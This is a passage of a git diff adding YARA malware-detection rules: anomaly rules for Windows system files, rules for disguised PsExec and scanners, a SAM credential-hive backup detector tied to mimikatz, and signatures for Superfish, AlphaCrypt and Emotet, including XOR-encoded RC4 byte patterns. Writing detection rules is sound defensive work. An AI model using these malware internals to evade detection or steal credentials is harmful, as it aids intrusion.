+		$winxp = "Software\\Microsoft\\Notepad" wide
+		$winxp_de = "Software\\Microsoft\\Notepad" wide
+	condition:
+		filename == "notepad.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+/* NEW ---------------------------------------------------------------------- */
+
+rule csrss_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file csrss.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "17542707a3d9fa13c569450fd978272ef7070a77"
+	strings:
+		$s1 = "Client Server Runtime Process" fullword wide
+		$s4 = "name=\"Microsoft.Windows.CSRSS\"" fullword ascii
+		$s5 = "CSRSRV.dll" fullword ascii
+		$s6 = "CsrServerInitialization" fullword ascii
+	condition:
+		filename == "csrss.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule conhost_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file conhost.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "1bd846aa22b1d63a1f900f6d08d8bfa8082ae4db"
+	strings:
+		$s2 = "Console Window Host" fullword wide
+	condition:
+		filename == "conhost.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule wininit_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file wininit.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "2de5c051c0d7d8bcc14b1ca46be8ab9756f29320"
+	strings:
+		$s1 = "Windows Start-Up Application" fullword wide
+	condition:
+		filename == "wininit.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule winlogon_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file winlogon.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "af210c8748d77c2ff93966299d4cd49a8c722ef6"
+	strings:
+		$s1 = "AuthzAccessCheck failed" fullword
+		$s2 = "Windows Logon Application" fullword wide
+	condition:
+		filename == "winlogon.exe" and not 1 of ($s*)
+		and not WINDOWS_UPDATE_BDC
+		and not filepath contains "Malwarebytes"
+}
+
+rule SndVol_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file SndVol.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "e057c90b675a6da19596b0ac458c25d7440b7869"
+	strings:
+		$s1 = "Volume Control Applet" fullword wide
+	condition:
+		filename == "sndvol.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule doskey_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file doskey.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "f2d1995325df0f3ca6e7b11648aa368b7e8f1c7f"
+	strings:
+		$s3 = "Keyboard History Utility" fullword wide
+	condition:
+		filename == "doskey.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule lsass_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file lsass.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "04abf92ac7571a25606edfd49dca1041c41bef21"
+	strings:
+		$s1 = "LSA Shell" fullword wide
+		$s2 = "<description>Local Security Authority Process</description>" fullword ascii
+		$s3 = "Local Security Authority Process" fullword wide
+		$s4 = "LsapInitLsa" fullword
+	condition:
+		filename == "lsass.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule taskmgr_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file taskmgr.exe"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "e8b4d84a28e5ea17272416ec45726964fdf25883"
+	strings:
+		$s0 = "Windows Task Manager" fullword wide
+		$s1 = "taskmgr.chm" fullword
+		$s2 = "TmEndTaskHandler::" ascii
+	condition:
+		( filename == "taskmgr.exe" or filename == "Taskmgr.exe" ) and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+/* removed 22 rules here */
+
+/* APT ---------------------------------------------------------------------- */
+
+rule APT_Cloaked_PsExec
+	{
+	meta:
+		description = "Looks like a cloaked PsExec. May be APT group activity."
+		date = "2014-07-18"
+		author = "Florian Roth"
+		score = 60
+	strings:
+		$s0 = "psexesvc.exe" wide fullword
+		$s1 = "Sysinternals PsExec" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and $s0 and $s1
+		and not filename matches /^(psexec.exe|psexesvc.exe)$/is
+}
+
+/* removed 6 rules here */
+
+rule APT_Cloaked_SuperScan
+	{
+	meta:
+		description = "Looks like a cloaked SuperScan Port Scanner. May be APT group activity."
+		date = "2014-07-18"
+		author = "Florian Roth"
+		score = 50
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "SuperScan4.exe" wide fullword
+		$s1 = "Foundstone Inc." wide fullword
+	condition:
+		( $magic at 0 ) and $s0 and $s1 and not filename contains "superscan"
+}
+
+rule APT_Cloaked_ScanLine
+	{
+	meta:
+		description = "Looks like a cloaked ScanLine Port Scanner. May be APT group activity."
+		date = "2014-07-18"
+		author = "Florian Roth"
+		score = 50
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "ScanLine" wide fullword
+		$s1 = "Command line port scanner" wide fullword
+		$s2 = "sl.exe" wide fullword
+	condition:
+		( $magic at 0 ) and $s0 and $s1 and $s2 and not filename == "sl.exe"
+}
+
+rule SAM_Hive_Backup
+{
+	meta:
+		description = "Detects a SAM hive backup file"
+		author = "Florian Roth"
+		reference = "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
+		score = 60
+		date = "2015/03/31"
+	strings:
+		$s1 = "\\SystemRoot\\System32\\Config\\SAM" wide fullword
+	condition:
+		uint32(0) == 0x66676572 and $s1 in (0..100) and
+			not filename contains "sam.log" and
+         not filename contains "SAM.LOG" and
+			not filename contains "_sam" and
+			not filename == "SAM" and
+			not filename == "sam"
+}
diff --git a/yara-mikesxrs/Florian Roth/threat_lenovo_superfish.yar b/yara-mikesxrs/Florian Roth/threat_lenovo_superfish.yar
new file mode 100644
index 0000000..bb23ff5
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/threat_lenovo_superfish.yar	
@@ -0,0 +1,23 @@
+
+/* LENOVO Superfish -------------------------------------------------------- */
+
+rule VisualDiscovery_Lonovo_Superfish_SSL_Hijack {
+	meta:
+		description = "Lenovo Superfish SSL Interceptor - file VisualDiscovery.exe"
+		author = "Florian Roth / improved by kbandla"
+		reference = "https://twitter.com/4nc4p/status/568325493558272000"
+		date = "2015/02/19"
+		hash1 = "99af9cfc7ab47f847103b5497b746407dc566963"
+		hash2 = "f0b0cd0227ba302ac9ab4f30d837422c7ae66c46"
+		hash3 = "f12edf2598d8f0732009c5cd1df5d2c559455a0b"
+		hash4 = "343af97d47582c8150d63cbced601113b14fcca6"
+	strings:
+		$mz = { 4d 5a }
+		//$s1 = "VisualDiscovery.exe" fullword wide
+		$s2 = "Invalid key length used to initialize BlowFish." fullword ascii
+		$s3 = "GetPCProxyHandler" fullword ascii
+		$s4 = "StartPCProxy" fullword ascii
+		$s5 = "SetPCProxyHandler" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 2MB and all of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/GoDaddy/IsElfFile.yara b/yara-mikesxrs/GoDaddy/IsElfFile.yara
new file mode 100644
index 0000000..b9fb212
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/IsElfFile.yara
@@ -0,0 +1,6 @@
+
+private rule IsElfFile {
+    condition:
+        uint32(0) == 0x464C457F
+}
+
diff --git a/yara-mikesxrs/GoDaddy/IsPeFile.yara b/yara-mikesxrs/GoDaddy/IsPeFile.yara
new file mode 100644
index 0000000..d0c7cb9
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/IsPeFile.yara
@@ -0,0 +1,6 @@
+
+private rule IsPeFile {
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x4550
+}
+
diff --git a/yara-mikesxrs/GoDaddy/IsZipFile.yara b/yara-mikesxrs/GoDaddy/IsZipFile.yara
new file mode 100644
index 0000000..b92dd65
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/IsZipFile.yara
@@ -0,0 +1,6 @@
+
+private rule IsZipFile {
+    condition:
+        uint16(0) == 0x4B50
+}
+
diff --git a/yara-mikesxrs/GoDaddy/alphacrypt.yara b/yara-mikesxrs/GoDaddy/alphacrypt.yara
new file mode 100644
index 0000000..c0a2a60
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/alphacrypt.yara
@@ -0,0 +1,15 @@
+rule alphacrypt {
+    meta:
+        info = "AlphaCrypt Ransomware"
+
+    strings:
+        // configuration data is stored as a 32-bit value  at offset 0x58
+        // the first and last bytes are signatures and must be 0xFE, and
+        // the middle word is read as an integer
+        $config_data = { 54 68 69 73 20 70 72 6F 67 72 FE ?? ?? FE 61 6E 
+            6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 }                          
+
+    condition:
+        $config_data
+}
+
diff --git a/yara-mikesxrs/GoDaddy/appraisel.yara b/yara-mikesxrs/GoDaddy/appraisel.yara
new file mode 100644
index 0000000..077a9a6
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/appraisel.yara
@@ -0,0 +1,28 @@
+
+rule appraisel_exe {
+    strings:
+        $decode_function = {8B3883C0048D8FFFFEFEFEF7D723CF23CD75398B3883C0048D8FFFFEFEFEF7D723CF23CD75268B3883C0048D8FFFFEFEFEF7D723CF23CD75138B3883C0048D8FFFFEFEFEF7D723CF23CD74B4}
+    condition:
+        $decode_function
+}
+
+rule appraisel_exe_payload {
+    meta:
+        decoder = "appraisel_exe_payload.py"
+
+    strings:
+        $filename1 = "%s\\Tmp" wide
+        $filename2 = "%s\\Volume Panel" wide
+        $filename3 = "\\VolPanlu.exe" wide
+        $filename4 = "%s\\updstat.bin" wide
+        $filename5 = "%s\\srvstat.bin" wide
+
+        $string1 = "Panlu" wide fullword
+
+        // AFC5BE36ED870435A2E3C9714CCFFD44 @ 0x4012f0
+        $3min_uptime_test = {FF15????????3D20BF0200730B68C0D40100FF15????????680F270000}
+
+    condition:
+        4 of ($filename*,$string1) or $3min_uptime_test
+}
+
diff --git a/yara-mikesxrs/GoDaddy/aspack.yara b/yara-mikesxrs/GoDaddy/aspack.yara
new file mode 100644
index 0000000..8bd3ee4
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/aspack.yara
@@ -0,0 +1,16 @@
+
+rule aspack {
+    meta:
+        description = "ASPack packed file"
+        block = false
+        quarantine = false
+
+    strings:
+        $mz = "MZ"
+        $aspack_section = {2E61737061636B00}
+        $adata_section = {2E61646174610000}
+
+    condition:
+        $mz at 0 and $aspack_section at 0x248 and $adata_section at 0x270
+}
+
diff --git a/yara-mikesxrs/GoDaddy/emotet.yara b/yara-mikesxrs/GoDaddy/emotet.yara
new file mode 100644
index 0000000..60eaf03
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/emotet.yara
@@ -0,0 +1,322 @@
+
+rule emotet {
+    meta:
+        description = "Emotet malware family"
+
+    strings:
+        // F196726CB3AD205C35E6774F2DFC506D @ File Offset 0x22E18
+        $packer_payload = { 30EF9A21629C682D1B2ADFD2D517CA9B73A12A44D6D4A7ADE4EEB83037CD0271 }
+
+        // ACA8BDBD8E79201892F8B46A3005744B @ 0x401463
+        $code_ops = { 8B45F86A0A99598345080AF7F98345F81403C78A8C30C03100008B45F403C032CB992BC280F108D1F8817D087C6A0200898C30202700000F8E6BFCFFFF8D8620270000FFD0DDD8E95CFCFFFF }
+
+        // PDB string found in many variants
+        $pdb_string1 = "C:\\Users\\M\\Desktop\\vc\\WorldWar\\Release\\ShipDemo.pdb"
+
+        // 3AD2F2E593B023943174B336EBA5084A @ 0x401222
+        // This decoding loop extracts every other byte from a buffer, XORs it with a constant single-byte key, and stores it to an new location.  The unused bytes
+        // are ignored.
+        $stage2_decoder = { 8A073246??434788841D1BF8FFFF4781FB????????7CE98D851CF8FFFFFFD0EBDF }
+
+        // Taken from an intermediate memory snapshot dropper decryption key schedule
+        $rc4_ksa = { 8BC733D2F775148B450C0FB60402030603C38BD999F7FB8A06478845FF8BDA8B949DF8FBFFFF891683C6040FB655FF8D849DF8FBFFFF3BF989107CC483651400837D1000766B }
+
+        // On disk this code is protected by a single-byte xor key.  To capture all possible encoded RC4 KSAs with the signature the following signatures were generated with the
+        // following python code:
+        //
+        // ksa = '8BC733D2F775148B450C0FB60402030603C38BD999F7FB8A06478845FF8BDA8B949DF8FBFFFF891683C6040FB655FF8D849DF8FBFFFF3BF989107CC483651400837D1000766B'.decode('hex')
+        // for i in xrange(1, 256):
+        //       ksa_xored = xor.xor(ksa, '%02X' % i).encode('hex')
+        //       print '\t$rc4_ksa_xor_%02x = { %s }' % (i, '??'.join([ksa_xored[i:i+2] for i in xrange(0, len(ksa_xored), 2)]))
+        //
+        //
+        $rc4_ksa_xor_01 = { 8a??c6??32??d3??f6??74??15??8a??44??0d??0e??b7??05??03??02??07??02??c2??8a??d8??98??f6??fa??8b??07??46??89??44??fe??8a??db??8a??95??9c??f9??fa??fe??fe??88??17??82??c7??05??0e??b7??54??fe??8c??85??9c??f9??fa??fe??fe??3a??f8??88??11??7d??c5??82??64??15??01??82??7c??11??01??77??6a }
+        $rc4_ksa_xor_02 = { 89??c5??31??d0??f5??77??16??89??47??0e??0d??b4??06??00??01??04??01??c1??89??db??9b??f5??f9??88??04??45??8a??47??fd??89??d8??89??96??9f??fa??f9??fd??fd??8b??14??81??c4??06??0d??b4??57??fd??8f??86??9f??fa??f9??fd??fd??39??fb??8b??12??7e??c6??81??67??16??02??81??7f??12??02??74??69 }
+        $rc4_ksa_xor_03 = { 88??c4??30??d1??f4??76??17??88??46??0f??0c??b5??07??01??00??05??00??c0??88??da??9a??f4??f8??89??05??44??8b??46??fc??88??d9??88??97??9e??fb??f8??fc??fc??8a??15??80??c5??07??0c??b5??56??fc??8e??87??9e??fb??f8??fc??fc??38??fa??8a??13??7f??c7??80??66??17??03??80??7e??13??03??75??68 }
+        $rc4_ksa_xor_04 = { 8f??c3??37??d6??f3??71??10??8f??41??08??0b??b2??00??06??07??02??07??c7??8f??dd??9d??f3??ff??8e??02??43??8c??41??fb??8f??de??8f??90??99??fc??ff??fb??fb??8d??12??87??c2??00??0b??b2??51??fb??89??80??99??fc??ff??fb??fb??3f??fd??8d??14??78??c0??87??61??10??04??87??79??14??04??72??6f }
+        $rc4_ksa_xor_05 = { 8e??c2??36??d7??f2??70??11??8e??40??09??0a??b3??01??07??06??03??06??c6??8e??dc??9c??f2??fe??8f??03??42??8d??40??fa??8e??df??8e??91??98??fd??fe??fa??fa??8c??13??86??c3??01??0a??b3??50??fa??88??81??98??fd??fe??fa??fa??3e??fc??8c??15??79??c1??86??60??11??05??86??78??15??05??73??6e }
+        $rc4_ksa_xor_06 = { 8d??c1??35??d4??f1??73??12??8d??43??0a??09??b0??02??04??05??00??05??c5??8d??df??9f??f1??fd??8c??00??41??8e??43??f9??8d??dc??8d??92??9b??fe??fd??f9??f9??8f??10??85??c0??02??09??b0??53??f9??8b??82??9b??fe??fd??f9??f9??3d??ff??8f??16??7a??c2??85??63??12??06??85??7b??16??06??70??6d }
+        $rc4_ksa_xor_07 = { 8c??c0??34??d5??f0??72??13??8c??42??0b??08??b1??03??05??04??01??04??c4??8c??de??9e??f0??fc??8d??01??40??8f??42??f8??8c??dd??8c??93??9a??ff??fc??f8??f8??8e??11??84??c1??03??08??b1??52??f8??8a??83??9a??ff??fc??f8??f8??3c??fe??8e??17??7b??c3??84??62??13??07??84??7a??17??07??71??6c }
+        $rc4_ksa_xor_08 = { 83??cf??3b??da??ff??7d??1c??83??4d??04??07??be??0c??0a??0b??0e??0b??cb??83??d1??91??ff??f3??82??0e??4f??80??4d??f7??83??d2??83??9c??95??f0??f3??f7??f7??81??1e??8b??ce??0c??07??be??5d??f7??85??8c??95??f0??f3??f7??f7??33??f1??81??18??74??cc??8b??6d??1c??08??8b??75??18??08??7e??63 }
+        $rc4_ksa_xor_09 = { 82??ce??3a??db??fe??7c??1d??82??4c??05??06??bf??0d??0b??0a??0f??0a??ca??82??d0??90??fe??f2??83??0f??4e??81??4c??f6??82??d3??82??9d??94??f1??f2??f6??f6??80??1f??8a??cf??0d??06??bf??5c??f6??84??8d??94??f1??f2??f6??f6??32??f0??80??19??75??cd??8a??6c??1d??09??8a??74??19??09??7f??62 }
+        $rc4_ksa_xor_0a = { 81??cd??39??d8??fd??7f??1e??81??4f??06??05??bc??0e??08??09??0c??09??c9??81??d3??93??fd??f1??80??0c??4d??82??4f??f5??81??d0??81??9e??97??f2??f1??f5??f5??83??1c??89??cc??0e??05??bc??5f??f5??87??8e??97??f2??f1??f5??f5??31??f3??83??1a??76??ce??89??6f??1e??0a??89??77??1a??0a??7c??61 }
+        $rc4_ksa_xor_0b = { 80??cc??38??d9??fc??7e??1f??80??4e??07??04??bd??0f??09??08??0d??08??c8??80??d2??92??fc??f0??81??0d??4c??83??4e??f4??80??d1??80??9f??96??f3??f0??f4??f4??82??1d??88??cd??0f??04??bd??5e??f4??86??8f??96??f3??f0??f4??f4??30??f2??82??1b??77??cf??88??6e??1f??0b??88??76??1b??0b??7d??60 }
+        $rc4_ksa_xor_0c = { 87??cb??3f??de??fb??79??18??87??49??00??03??ba??08??0e??0f??0a??0f??cf??87??d5??95??fb??f7??86??0a??4b??84??49??f3??87??d6??87??98??91??f4??f7??f3??f3??85??1a??8f??ca??08??03??ba??59??f3??81??88??91??f4??f7??f3??f3??37??f5??85??1c??70??c8??8f??69??18??0c??8f??71??1c??0c??7a??67 }
+        $rc4_ksa_xor_0d = { 86??ca??3e??df??fa??78??19??86??48??01??02??bb??09??0f??0e??0b??0e??ce??86??d4??94??fa??f6??87??0b??4a??85??48??f2??86??d7??86??99??90??f5??f6??f2??f2??84??1b??8e??cb??09??02??bb??58??f2??80??89??90??f5??f6??f2??f2??36??f4??84??1d??71??c9??8e??68??19??0d??8e??70??1d??0d??7b??66 }
+        $rc4_ksa_xor_0e = { 85??c9??3d??dc??f9??7b??1a??85??4b??02??01??b8??0a??0c??0d??08??0d??cd??85??d7??97??f9??f5??84??08??49??86??4b??f1??85??d4??85??9a??93??f6??f5??f1??f1??87??18??8d??c8??0a??01??b8??5b??f1??83??8a??93??f6??f5??f1??f1??35??f7??87??1e??72??ca??8d??6b??1a??0e??8d??73??1e??0e??78??65 }
+        $rc4_ksa_xor_0f = { 84??c8??3c??dd??f8??7a??1b??84??4a??03??00??b9??0b??0d??0c??09??0c??cc??84??d6??96??f8??f4??85??09??48??87??4a??f0??84??d5??84??9b??92??f7??f4??f0??f0??86??19??8c??c9??0b??00??b9??5a??f0??82??8b??92??f7??f4??f0??f0??34??f6??86??1f??73??cb??8c??6a??1b??0f??8c??72??1f??0f??79??64 }
+        $rc4_ksa_xor_10 = { 9b??d7??23??c2??e7??65??04??9b??55??1c??1f??a6??14??12??13??16??13??d3??9b??c9??89??e7??eb??9a??16??57??98??55??ef??9b??ca??9b??84??8d??e8??eb??ef??ef??99??06??93??d6??14??1f??a6??45??ef??9d??94??8d??e8??eb??ef??ef??2b??e9??99??00??6c??d4??93??75??04??10??93??6d??00??10??66??7b }
+        $rc4_ksa_xor_11 = { 9a??d6??22??c3??e6??64??05??9a??54??1d??1e??a7??15??13??12??17??12??d2??9a??c8??88??e6??ea??9b??17??56??99??54??ee??9a??cb??9a??85??8c??e9??ea??ee??ee??98??07??92??d7??15??1e??a7??44??ee??9c??95??8c??e9??ea??ee??ee??2a??e8??98??01??6d??d5??92??74??05??11??92??6c??01??11??67??7a }
+        $rc4_ksa_xor_12 = { 99??d5??21??c0??e5??67??06??99??57??1e??1d??a4??16??10??11??14??11??d1??99??cb??8b??e5??e9??98??14??55??9a??57??ed??99??c8??99??86??8f??ea??e9??ed??ed??9b??04??91??d4??16??1d??a4??47??ed??9f??96??8f??ea??e9??ed??ed??29??eb??9b??02??6e??d6??91??77??06??12??91??6f??02??12??64??79 }
+        $rc4_ksa_xor_13 = { 98??d4??20??c1??e4??66??07??98??56??1f??1c??a5??17??11??10??15??10??d0??98??ca??8a??e4??e8??99??15??54??9b??56??ec??98??c9??98??87??8e??eb??e8??ec??ec??9a??05??90??d5??17??1c??a5??46??ec??9e??97??8e??eb??e8??ec??ec??28??ea??9a??03??6f??d7??90??76??07??13??90??6e??03??13??65??78 }
+        $rc4_ksa_xor_14 = { 9f??d3??27??c6??e3??61??00??9f??51??18??1b??a2??10??16??17??12??17??d7??9f??cd??8d??e3??ef??9e??12??53??9c??51??eb??9f??ce??9f??80??89??ec??ef??eb??eb??9d??02??97??d2??10??1b??a2??41??eb??99??90??89??ec??ef??eb??eb??2f??ed??9d??04??68??d0??97??71??00??14??97??69??04??14??62??7f }
+        $rc4_ksa_xor_15 = { 9e??d2??26??c7??e2??60??01??9e??50??19??1a??a3??11??17??16??13??16??d6??9e??cc??8c??e2??ee??9f??13??52??9d??50??ea??9e??cf??9e??81??88??ed??ee??ea??ea??9c??03??96??d3??11??1a??a3??40??ea??98??91??88??ed??ee??ea??ea??2e??ec??9c??05??69??d1??96??70??01??15??96??68??05??15??63??7e }
+        $rc4_ksa_xor_16 = { 9d??d1??25??c4??e1??63??02??9d??53??1a??19??a0??12??14??15??10??15??d5??9d??cf??8f??e1??ed??9c??10??51??9e??53??e9??9d??cc??9d??82??8b??ee??ed??e9??e9??9f??00??95??d0??12??19??a0??43??e9??9b??92??8b??ee??ed??e9??e9??2d??ef??9f??06??6a??d2??95??73??02??16??95??6b??06??16??60??7d }
+        $rc4_ksa_xor_17 = { 9c??d0??24??c5??e0??62??03??9c??52??1b??18??a1??13??15??14??11??14??d4??9c??ce??8e??e0??ec??9d??11??50??9f??52??e8??9c??cd??9c??83??8a??ef??ec??e8??e8??9e??01??94??d1??13??18??a1??42??e8??9a??93??8a??ef??ec??e8??e8??2c??ee??9e??07??6b??d3??94??72??03??17??94??6a??07??17??61??7c }
+        $rc4_ksa_xor_18 = { 93??df??2b??ca??ef??6d??0c??93??5d??14??17??ae??1c??1a??1b??1e??1b??db??93??c1??81??ef??e3??92??1e??5f??90??5d??e7??93??c2??93??8c??85??e0??e3??e7??e7??91??0e??9b??de??1c??17??ae??4d??e7??95??9c??85??e0??e3??e7??e7??23??e1??91??08??64??dc??9b??7d??0c??18??9b??65??08??18??6e??73 }
+        $rc4_ksa_xor_19 = { 92??de??2a??cb??ee??6c??0d??92??5c??15??16??af??1d??1b??1a??1f??1a??da??92??c0??80??ee??e2??93??1f??5e??91??5c??e6??92??c3??92??8d??84??e1??e2??e6??e6??90??0f??9a??df??1d??16??af??4c??e6??94??9d??84??e1??e2??e6??e6??22??e0??90??09??65??dd??9a??7c??0d??19??9a??64??09??19??6f??72 }
+        $rc4_ksa_xor_1a = { 91??dd??29??c8??ed??6f??0e??91??5f??16??15??ac??1e??18??19??1c??19??d9??91??c3??83??ed??e1??90??1c??5d??92??5f??e5??91??c0??91??8e??87??e2??e1??e5??e5??93??0c??99??dc??1e??15??ac??4f??e5??97??9e??87??e2??e1??e5??e5??21??e3??93??0a??66??de??99??7f??0e??1a??99??67??0a??1a??6c??71 }
+        $rc4_ksa_xor_1b = { 90??dc??28??c9??ec??6e??0f??90??5e??17??14??ad??1f??19??18??1d??18??d8??90??c2??82??ec??e0??91??1d??5c??93??5e??e4??90??c1??90??8f??86??e3??e0??e4??e4??92??0d??98??dd??1f??14??ad??4e??e4??96??9f??86??e3??e0??e4??e4??20??e2??92??0b??67??df??98??7e??0f??1b??98??66??0b??1b??6d??70 }
+        $rc4_ksa_xor_1c = { 97??db??2f??ce??eb??69??08??97??59??10??13??aa??18??1e??1f??1a??1f??df??97??c5??85??eb??e7??96??1a??5b??94??59??e3??97??c6??97??88??81??e4??e7??e3??e3??95??0a??9f??da??18??13??aa??49??e3??91??98??81??e4??e7??e3??e3??27??e5??95??0c??60??d8??9f??79??08??1c??9f??61??0c??1c??6a??77 }
+        $rc4_ksa_xor_1d = { 96??da??2e??cf??ea??68??09??96??58??11??12??ab??19??1f??1e??1b??1e??de??96??c4??84??ea??e6??97??1b??5a??95??58??e2??96??c7??96??89??80??e5??e6??e2??e2??94??0b??9e??db??19??12??ab??48??e2??90??99??80??e5??e6??e2??e2??26??e4??94??0d??61??d9??9e??78??09??1d??9e??60??0d??1d??6b??76 }
+        $rc4_ksa_xor_1e = { 95??d9??2d??cc??e9??6b??0a??95??5b??12??11??a8??1a??1c??1d??18??1d??dd??95??c7??87??e9??e5??94??18??59??96??5b??e1??95??c4??95??8a??83??e6??e5??e1??e1??97??08??9d??d8??1a??11??a8??4b??e1??93??9a??83??e6??e5??e1??e1??25??e7??97??0e??62??da??9d??7b??0a??1e??9d??63??0e??1e??68??75 }
+        $rc4_ksa_xor_1f = { 94??d8??2c??cd??e8??6a??0b??94??5a??13??10??a9??1b??1d??1c??19??1c??dc??94??c6??86??e8??e4??95??19??58??97??5a??e0??94??c5??94??8b??82??e7??e4??e0??e0??96??09??9c??d9??1b??10??a9??4a??e0??92??9b??82??e7??e4??e0??e0??24??e6??96??0f??63??db??9c??7a??0b??1f??9c??62??0f??1f??69??74 }
+        $rc4_ksa_xor_20 = { ab??e7??13??f2??d7??55??34??ab??65??2c??2f??96??24??22??23??26??23??e3??ab??f9??b9??d7??db??aa??26??67??a8??65??df??ab??fa??ab??b4??bd??d8??db??df??df??a9??36??a3??e6??24??2f??96??75??df??ad??a4??bd??d8??db??df??df??1b??d9??a9??30??5c??e4??a3??45??34??20??a3??5d??30??20??56??4b }
+        $rc4_ksa_xor_21 = { aa??e6??12??f3??d6??54??35??aa??64??2d??2e??97??25??23??22??27??22??e2??aa??f8??b8??d6??da??ab??27??66??a9??64??de??aa??fb??aa??b5??bc??d9??da??de??de??a8??37??a2??e7??25??2e??97??74??de??ac??a5??bc??d9??da??de??de??1a??d8??a8??31??5d??e5??a2??44??35??21??a2??5c??31??21??57??4a }
+        $rc4_ksa_xor_22 = { a9??e5??11??f0??d5??57??36??a9??67??2e??2d??94??26??20??21??24??21??e1??a9??fb??bb??d5??d9??a8??24??65??aa??67??dd??a9??f8??a9??b6??bf??da??d9??dd??dd??ab??34??a1??e4??26??2d??94??77??dd??af??a6??bf??da??d9??dd??dd??19??db??ab??32??5e??e6??a1??47??36??22??a1??5f??32??22??54??49 }
+        $rc4_ksa_xor_23 = { a8??e4??10??f1??d4??56??37??a8??66??2f??2c??95??27??21??20??25??20??e0??a8??fa??ba??d4??d8??a9??25??64??ab??66??dc??a8??f9??a8??b7??be??db??d8??dc??dc??aa??35??a0??e5??27??2c??95??76??dc??ae??a7??be??db??d8??dc??dc??18??da??aa??33??5f??e7??a0??46??37??23??a0??5e??33??23??55??48 }
+        $rc4_ksa_xor_24 = { af??e3??17??f6??d3??51??30??af??61??28??2b??92??20??26??27??22??27??e7??af??fd??bd??d3??df??ae??22??63??ac??61??db??af??fe??af??b0??b9??dc??df??db??db??ad??32??a7??e2??20??2b??92??71??db??a9??a0??b9??dc??df??db??db??1f??dd??ad??34??58??e0??a7??41??30??24??a7??59??34??24??52??4f }
+        $rc4_ksa_xor_25 = { ae??e2??16??f7??d2??50??31??ae??60??29??2a??93??21??27??26??23??26??e6??ae??fc??bc??d2??de??af??23??62??ad??60??da??ae??ff??ae??b1??b8??dd??de??da??da??ac??33??a6??e3??21??2a??93??70??da??a8??a1??b8??dd??de??da??da??1e??dc??ac??35??59??e1??a6??40??31??25??a6??58??35??25??53??4e }
+        $rc4_ksa_xor_26 = { ad??e1??15??f4??d1??53??32??ad??63??2a??29??90??22??24??25??20??25??e5??ad??ff??bf??d1??dd??ac??20??61??ae??63??d9??ad??fc??ad??b2??bb??de??dd??d9??d9??af??30??a5??e0??22??29??90??73??d9??ab??a2??bb??de??dd??d9??d9??1d??df??af??36??5a??e2??a5??43??32??26??a5??5b??36??26??50??4d }
+        $rc4_ksa_xor_27 = { ac??e0??14??f5??d0??52??33??ac??62??2b??28??91??23??25??24??21??24??e4??ac??fe??be??d0??dc??ad??21??60??af??62??d8??ac??fd??ac??b3??ba??df??dc??d8??d8??ae??31??a4??e1??23??28??91??72??d8??aa??a3??ba??df??dc??d8??d8??1c??de??ae??37??5b??e3??a4??42??33??27??a4??5a??37??27??51??4c }
+        $rc4_ksa_xor_28 = { a3??ef??1b??fa??df??5d??3c??a3??6d??24??27??9e??2c??2a??2b??2e??2b??eb??a3??f1??b1??df??d3??a2??2e??6f??a0??6d??d7??a3??f2??a3??bc??b5??d0??d3??d7??d7??a1??3e??ab??ee??2c??27??9e??7d??d7??a5??ac??b5??d0??d3??d7??d7??13??d1??a1??38??54??ec??ab??4d??3c??28??ab??55??38??28??5e??43 }
+        $rc4_ksa_xor_29 = { a2??ee??1a??fb??de??5c??3d??a2??6c??25??26??9f??2d??2b??2a??2f??2a??ea??a2??f0??b0??de??d2??a3??2f??6e??a1??6c??d6??a2??f3??a2??bd??b4??d1??d2??d6??d6??a0??3f??aa??ef??2d??26??9f??7c??d6??a4??ad??b4??d1??d2??d6??d6??12??d0??a0??39??55??ed??aa??4c??3d??29??aa??54??39??29??5f??42 }
